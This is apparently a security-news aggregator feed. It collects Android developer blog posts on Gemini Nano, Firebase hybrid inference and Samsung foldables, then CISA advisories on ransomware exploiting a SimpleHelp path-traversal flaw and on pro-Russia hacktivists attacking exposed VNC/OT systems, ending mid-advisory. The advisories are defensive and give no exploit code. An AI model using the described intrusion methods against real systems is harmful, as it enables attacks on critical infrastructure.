    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}

Conclusion

Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.

Check out the full source code for Jetpacker on Github, and watch the video Build Intelligent Android apps with Google’s AI to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2 (this post!): On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

]]> <![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]> https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/ https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/ Sat, 25 Jul 2026 10:15:23 +0200 🤖 Android Tipps tsecurity.de
Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations



Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features: 

  • Grounding answers in real-world context
  • Routing requests dynamically between cloud and local execution using hybrid inference
  • Translating content with custom routing systems


Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. 

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.


Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and  support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

  • a museum assistant with web grounding
  • hybrid restaurant review drafting
  • hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.


Museum assistant is a chatbot that answers questions, such as 
‘How can I get a ticket discount for Le Louvre?’

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. 



Grounding data is added to the context window to enable the model
 to answer questions correctly and accurately.

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

  • URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
  • Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
  • Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf<Tool>()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. 


The restaurant review feature uses hybrid inference to draft a review based on topics

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

  • PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
  • PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
  • ONLY_ON_DEVICE: Restricts execution strictly to the device.
  • ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. 


Hotel support chat messages are automatically translated to the user’s preferred language 

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

  • Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
  • On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
  • Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.
// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions. 
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0
]]> <![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]> https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/ https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/ Sat, 25 Jul 2026 10:15:16 +0200 🤖 Android Tipps tsecurity.de
Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer Experience



Today at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, and device postures your app needs to support is expanding once again.

With devices like the Galaxy Z Fold8, the ecosystem is expanding to include hardware with a landscape-first natural orientation and a wider aspect ratio in its main display state. Whether a user is unfolding a large display, flipping open a cover screen, or glancing at their wrist, users expect a flawless experience. To help you meet this moment, we’re sharing actionable guidance and new tooling updates to enable you to build adaptively proactively.

Rethink layout architecture for dynamic displays, including ultra-wide foldables

Building for the latest foldables means dropping assumptions about display orientation and size. This is especially true for the Galaxy Z Fold8, which adopts an ultra-wide display, adding to the variety of aspect ratios to account for.  Devices with this landscape-first natural orientation show the limitations of hardcoded layout rules when users unfold the device. That’s why we’ve introduced dedicated guidance for building for landscape foldables and trifolds.


To build a responsive UI that handles these physics seamlessly, focus on the following core pillars:

  • Build fluid, adaptive layouts: Wide aspect ratios and compact vertical heights require fluid UIs that scale responsively. Our updated adaptive design guidance advises considering the window class width first to determine layout changes, then adjusting for height. To let individual components fluidly adapt to the grid, structure your layout using flexible containers that allow your content to automatically wrap, span, and reflow. For design inspiration browse our adaptive sample app and dual-screen design galleries.
  • Track actual app space: Your app's display space rarely matches the physical device size, especially on an ultra-wide screen during multi-window, split-screen, or multitasking states. Sometimes even the orientations differ. Leverage Window Size Classes using the Jetpack Window Manager library to calculate the exact space your app occupies.


  • Leverage the latest Jetpack Compose Update: Start by adopting the stable Jetpack Compose April '26 release (Compose BOM version 2026.04.01).Take advantage of the new structural layout tools to manage complex architectures. The new Grid API allows you to define dynamic tracks and column spans without the performance overhead of a lazy list. Pair Grid with the new FlexBox layout API to easily handle multi-axis alignment and dynamic item wrapping. You can also use the new MediaQuery API to adapt your UI to its environment, using conditions to detect signals like device posture, window size, and keyboard types. 
  • Make your app fold aware: Use the Jetpack WindowManager library, which provides an API surface for foldable device window features such as folds and hinges. When your app is fold aware, it can adapt its layout to avoid placing important content in the area of folds or hinges and use folds and hinges as natural separators.
  • Maintain app continuity: Avoid breaking the user journey when the device configuration shifts. Retain your UI state using ViewModel to ensure smooth transitions when a user folds or unfolds their device.

Ensure seamless camera capture on foldable devices

Camera implementation on foldables brings unique hardware quirks. Moving from a compact outer display to an expanded inner display introduces distinct layout aspect ratios while device rotation remains unchanged. If an app assumes a fixed portrait relationship between the camera sensor and the device layout, the app will likely suffer from sideways, stretched, or cropped previews during these folding transitions.
 
When optimizing your app's media pipeline, migrate your capture experiences to CameraX using the CameraX migration skill. The library’s PreviewView automatically handles sensor orientation, device rotation, and scaling behind the scenes. This guarantees a clean, stable preview regardless of how the user holds or positions the device. If you are maintaining an existing Camera2 codebase, integrate the CameraViewfinder library to apply these complex aspect ratio and rotation transformations automatically without needing a total architecture overhaul.

Extend glanceable interactions to Wear OS 7

The opportunity to build for this new generation of devices extends right to the wrist. Launching with Wear OS 7, Wear Widgets give you a fresh surface to provide users with instant, glanceable access to their essential updates. You can build these highly expressive experiences using Jetpack Glance and RemoteCompose. Crucially, Widgets built with this framework can now populate multi-widget tiles that were previously reserved for first-party widgets. 

Build intelligent features 

Gemini intelligence already completes tasks on users’ behalf, and you can experiment with the intelligence system by sharing your apps capabilities. 

Samsung’s new foldable devices come with Gemini Nano 4, our latest on-device model. Nano 4 provides support for over 140 languages, better multimodal understanding, and much more. Use ML Kit’s Prompt API with advanced features like structured output and thinking mode to build intelligent features on-device. 

Start optimizing today

The tools and frameworks are ready to help you optimize your app for all screen sizes. Begin by exploring our guidance for building adaptive apps to learn more about core adaptive design principles. 

To dive deeper, check out our comprehensive YouTube playlist. Finally, ensure your app delivers a flawless, premium experience on the newest form factors by reviewing our dedicated quality guidelines for trifolds and landscape foldables and WearOS. 

Unfold the future today! 
]]> <![CDATA[Design System Governance Committee: January 26, 2026 Meeting]]> https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/ https://tsecurity.de/de/3693438/video/design-system-governance-committee-january-26-2026-meeting/ Sat, 25 Jul 2026 10:05:13 +0200 🎥 Video tsecurity.de Author: Mozilla Thunderbird - Bewertung: 10x - Views:142

In their first meeting, the Design System Governance Committee, composed of MZLA employees and community members, first reviews the 2026 design roadmap. Then they take a deeper dive into tokens, their role in tying together Thunderbird's many platforms, W3 token standards, and how to document them. This work will make it easier for new design team members and contributors to jump into their work, while providing a more coherent experience from desktop to mobile and beyond.

]]> <![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]> https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/ Sat, 25 Jul 2026 09:19:52 +0200 🕵️ Sicherheitslücken tsecurity.de Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.1 Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.1 

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider (PDF, 420.49 KB )

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <file_path>/SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

  1. Isolate the SimpleHelp server instance from the internet or stop the server process.
  2. Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.2
  3. Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

  • Windows: %APPDATA%\JWrapper-Remote Access
  • Linux: /opt/JWrapper-Remote Access
  • MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in <file_path>/JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with <ConnectTo indicate the server addresses where the service is registered.

SimpleHelp Server

Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.

If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

  1.  Refer to SimpleHelp’s guidance to determine compromise and next steps.3
  2. Isolate the SimpleHelp server instance from the internet or stop the server process.
  3. Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
  4. Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.4

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.

Encrypted Downstream Customers and End Users

If a system has been encrypted by ransomware:

  1. Disconnect the affected system from the internet.
  2. Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
  3. Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Proactive Mitigations to Reduce Risk

To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

  • Maintain a robust asset inventory and hardware list [CPG 1.A].
  • Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
  • Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
  • Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
  • Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
  • For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
    • An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.

Resources

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.

Version History

June 12, 2025: Initial version.

Notes

1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

]]> <![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]> https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/ https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/ Sat, 25 Jul 2026 09:15:46 +0200 🕵️ Sicherheitslücken tsecurity.de Summary

Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

  • U.S. Department of Energy (DOE)
  • U.S. Environmental Protection Agency (EPA)
  • U.S. Department of Defense Cyber Crime Center (DC3)
  • Europol European Cybercrime Centre (EC3)
  • EUROJUST – European Union Agency for Criminal Justice Cooperation
  • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
  • Canadian Centre for Cyber Security (Cyber Centre)
  • Canadian Security Intelligence Service (CSIS)
  • Czech Republic Military Intelligence (VZ)
  • Czech Republic National Cyber and Information Security Agency (NÚKIB)
  • Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
  • French National Cybercrime Unit – Gendarmerie Nationale (UNC)
  • French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
  • German Federal Office for Information Security (BSI)
  • Italian State Police (PS)
  • Latvian State Police (VP)
  • Lithuanian Criminal Police Bureau (LKPB)
  • New Zealand National Cyber Security Centre (NCSC-NZ)
  • Romanian National Police (PR)
  • Spanish Civil Guard (GC)
  • Spanish National Police (CNP)
  • Swedish Polisen (SC3)
  • United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure (PDF, 1.53 MB )

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

